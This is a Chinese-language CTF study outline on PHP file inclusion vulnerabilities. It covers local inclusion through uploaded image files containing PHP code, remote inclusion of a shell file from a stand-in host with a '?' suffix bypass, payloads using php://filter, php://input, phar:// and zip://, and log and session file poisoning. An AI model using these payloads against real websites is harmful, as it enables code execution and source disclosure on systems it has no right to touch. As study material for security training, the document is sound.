CTF 文件包含

目录

• 1、基本概念
• 2、本地文件包含
• 3、远程文件包含
• 4、具体场景

1、基本概念

• 文件包含
  将相同函数写入单独的文件中，须要使用时直接调用
• 文件包含漏洞
  将被包含的文件设置为变量，致使客户端能够恶意调用一个恶意文件
• 相关函数
  • include()
  • include_once()
  • require()
  • require_once()
    include()若没有找到文件，只报warning；require()报错中止
    once说明值包含一次
    包含可执行文件时会直接执行

2、本地文件包含

• 包含的实现
  包含的时候，不必定要包含.php文件，只要包含一块完整的php代码，例如a.jpg，内容为<?php phpinfo();?>
• 具体场景
  因为被包含的文件类型多种多样，所以在实现的时候，重点在于找到可控文件
  • 好比说可以上传图片，就去穿一个带完整php代码的图片文件，或者是将代码文件改后缀
  • 压缩包使用伪协议

3、远程文件包含

• 远程包含的条件
  • allow_url_fopen
  • allow_url_include

• [http|https|ftp]://www.bbb.com/shell.txt
  若后缀名写死，可使用?绕过
  例如www.bbb.com/shell.txt?a.php

• 伪协议

  • php归档
    • phar://archive.zip/file.txt
    • zip://archive.zip#dir/file.txt(#有时须要替换为%23)
  • 利用php流
    • php://filter是一种元封装器，用于数据流打开筛选过滤的应用。对于一体式的文件函数很是有用，相似readfile()、file()和file_get_contents()
      ?file=php://filter/convert.base64-encode/resource=index.php
    • php://input
      利用条件:
      • 一、allow_url_include=On
      • 二、对allow_url_fopen不作要求
      • php://input能够读取没有处理过的POST数据

4、具体场景

• 日志文件
  web服务器会将请求写入到日志文件中，好比说apache。当用户发起请求时，会将请求写入access.log，当发生错误时将错误写入error.log。默认状况下，日志保存路径在/var/log/apahce2/

• 系统环境
  https://www.youtube.com/watch?v=dlh0ogYy9ys

• session
  • php默认生成的Session文件每每存在/tmp目录下
  • session.upload_progress.enabled这个参数在php.ini默认开启，若是不是Off，就会在上传过程当中生成上传进度文件，它的储存文件路径能够在phpinfo获取到